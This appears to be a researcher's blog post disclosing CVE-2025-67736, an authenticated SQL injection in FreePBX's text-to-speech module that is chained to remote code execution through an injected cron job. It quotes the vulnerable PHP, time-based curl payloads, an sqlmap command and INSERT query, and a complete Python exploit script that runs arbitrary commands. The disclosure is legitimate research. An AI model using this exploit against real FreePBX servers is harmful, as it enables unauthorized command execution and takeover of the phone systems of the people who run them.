CVE-2025-67736 FreePBX Authenticated SQL Injection leads to RCE

Overview

This will be fairly straight to the point since it’s another FreePBX vulnerability. It’s an authenticated SQLi, so not the end of the world as you’d need admin access, but it was a cool way to access a technique watchTowr blogged about to add a cron job to the freepbx database and get RCE.

Same as last time, easy reporting process through their security-reporting page.

Technical details

After authenticating to the FreePBX Administration GUI, the tts module is reachable using a request to:

http://<freepbx-host-or-ip>/admin/config.php?display=tts&view=form&id=

The base page for the tts plugin when accessed through the administrative control panel is defined in page.tts.php here. The important functionality is defined on line 38 here:

if(isset($_GET['view']) && $_GET['view'] == 'form'){
	if (!empty($_GET['id']) || $action !== 'delete') {
		$tts = tts_get($_REQUEST['id'] ?? '');
		foreach ($tts as $key => $value) {
			$data[$key] = $value;
		}
	}
	show_view(__DIR__ . '/views/tts.php', $data);
}else{
	show_view(__DIR__ . '/views/grid.php', $data);
}

This loop checks for the HTTP GET request parameter view to be defined, and for it to be set to the value of form. If view=form, next the logic checks to see if the GET parameter id is set, and for $action to not be set to delete. If both of those conditions are met, the id parameter is then passed to the function tts_get(), which is defined in functions.inc.php on line 69 here:

function tts_get($p_id) {
	global $db;

	$sql = "SELECT id, name, text, goto, engine FROM tts WHERE id=$p_id";
	return $db->getRow($sql, DB_FETCHMODE_ASSOC);
}

The id value set via HTTP GET request is passed into this function via the $p_id parameter. The vulnerability is on line 72 where the $p_id parameter is formatted into a defined SQL query with no checking, escaping, parameterizing, or typing. This query is then passed to the getRow() function on the next line where it is executed against the database.

This is fairly easy to demonstrate with a simple curl request as you can see the response time increase as the SLEEP() value is increased:

$ time curl --cookie /tmp/cookie -s -XPOST --header 'Content-Type: application/x-www-form-urlencoded' --data 'username=admin&password=ch[REDACTED]az'  http://192.168.1.115/admin/config.php -o /dev/null --next --cookie /tmp/cookie -s 'http://192.168.1.115/admin/config.php?display=tts&view=form&id=1+AND+(SELECT+1234+FROM+(SELECT(SLEEP(2)))test)' -o /dev/null

real	0m3.799s
user	0m0.006s
sys	0m0.005s
$ time curl --cookie /tmp/cookie -s -XPOST --header 'Content-Type: application/x-www-form-urlencoded' --data 'username=admin&password=ch[REDACTED]az'  http://192.168.1.115/admin/config.php -o /dev/null --next --cookie /tmp/cookie -s 'http://192.168.1.115/admin/config.php?display=tts&view=form&id=1+AND+(SELECT+1234+FROM+(SELECT(SLEEP(5)))test)' -o /dev/null

real	0m6.840s
user	0m0.003s
sys	0m0.007s

sqlmap also discovers this easily with a command such as:

sqlmap -u 'http://192.168.1.115/admin/config.php?display=tts&view=form&id=1' -H 'Cookie: PHPSESSID=vb2f[REDACTED]2tri;' -p id --level 3 --risk 2 --dbms=mysql --banner --current-user --current-db --flush-session --fresh-queries --proxy http://127.0.0.1:8080

Chaining SQLi to Remote Code Execution

[ Disclaimer: use this stuff at your own risk. Personally, I treat anything other than SELECT statements as playing with fire, and take extra care when using them outside of a lab environemnt. ]

I confirmed the attack path documented in watchTowr’s blog post also works here. You can leverage sqlmap to do this with the --sql-query functionality with a query such as this:

--sql-query="INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order) VALUES ('sysadmin','rcejob','id > /tmp/rceproof',NULL,'* * * * *',30,1,1)"

I would recommend watching the cron_jobs table while you test on the server with something like:

root@debian-server:~# mysql -uroot -e 'use asterisk;select * from cron_jobs;'

And you should see a new row such as the following show up:

root@debian-server:~# mysql -uroot -e 'use asterisk;select * from cron_jobs;'
+----+----------------------+-----------------------------------+-------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------+--------------+-------------+---------+-----------------+
| id | modulename           | jobname                           | command                                                                                                                       | class                                   | schedule     | max_runtime | enabled | execution_order |
+----+----------------------+-----------------------------------+-------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------+--------------+-------------+---------+-----------------+
...Omitted...
| 42 | sysadmin             | rcejob                            | id > /tmp/rcetest                                                                                                             | NULL                                    | * * * * *    |          30 |       1 |               1 |
+----+----------------------+-----------------------------------+-------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------+--------------+-------------+---------+-----------------+

I also wrote a quick python script that handles authentication and the injection to create a cron job. Example usage:

$ python3 Documents/exploit.py http://192.168.1.115 admin ch[REDACTED]az 'id > /tmp/rcetest'
[+] Login success!
[*] Sending SQLi payload to create cron job to execute 'id > /tmp/rcetest'
[*] SQLi should have worked. Cron schedule is '* * * * *' so it may be a minute to execute

exploit.py source:

import requests
import sys

## Usage
# $ python3 Documents/exploit.py http://192.168.1.115 admin ch[REDACTED]az 'id > /tmp/rcetest'
# [+] Login success!
# [*] Sending SQLi payload to create cron job to execute 'id > /tmp/rcetest'
# [*] SQLi should have worked. Cron schedule is '* * * * *' so it may be a minute to execute

url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
cmd = sys.argv[4]

url = f"{url}/admin/config.php"

## Insert statement parameters hex encoded to avoid single quotes
modulename = 'sysadmin'.encode().hex()
jobname = 'rcejob'.encode().hex()
command = cmd.encode().hex()
schedule = '* * * * *'

## injection payload to create cron job
sqli_payload = f'1;INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order) VALUES (0x{modulename},0x{jobname},0x{command},NULL,0x{schedule.encode().hex()},30,1,1)#'

proxies = dict.fromkeys(['http', 'https'], 'http://127.0.0.1:8080')

with requests.Session() as s:
    s.verify = False

    ## Comment out if you don't want to proxy traffic through burp/etc
    s.proxies.update(proxies)

    login_payload = {
        "username": username,
        "password": password
    }

    login_res = s.post(url, data=login_payload)

    if 'Invalid Username or Password' in login_res.text:
        print(f"[-] Invalid username or password")
        exit()
    
    print(f"[+] Login success!")
    print(f"[*] Sending SQLi payload to create cron job to execute '{cmd}'")

    params = {
        "display": "tts",
        "view": "form",
        "id": sqli_payload
    }

    sqli_res = s.get(url, params=params)
    if sqli_res.status_code == 500:
        print(f"[*] SQLi should have worked. Cron schedule is '{schedule}' so it may be a minute to execute")

Upon running the script, it may take a moment for the cron job to execute.

References:

  • [GitHub advisory] Authenticated SQL Injection in FreePBX tts (Text To Speech) module
    • https://github.com/FreePBX/security-reporting/security/advisories/GHSA-632c-49p9-x7cw

2026

Back to top ↑

2025

Headless Pentesting Machine Setup

Overview When I was starting out in penetration testing, it always confused me how folks would say they worked using a simple CLI only linux machine in a VPS...

Back to top ↑

2021

Back to top ↑

2020

CVE-2020-28328 SuiteCRM RCE

Remediation testing I found another vulnerability during remediation testing, and that writeup can be found here.

Terminal Access on routers via UART

How to get a Shell on your Router (hopefully) Vulnerability hunting is hard, and it’s even harder if you don’t have access to the source. Hardware devices ma...

Back to top ↑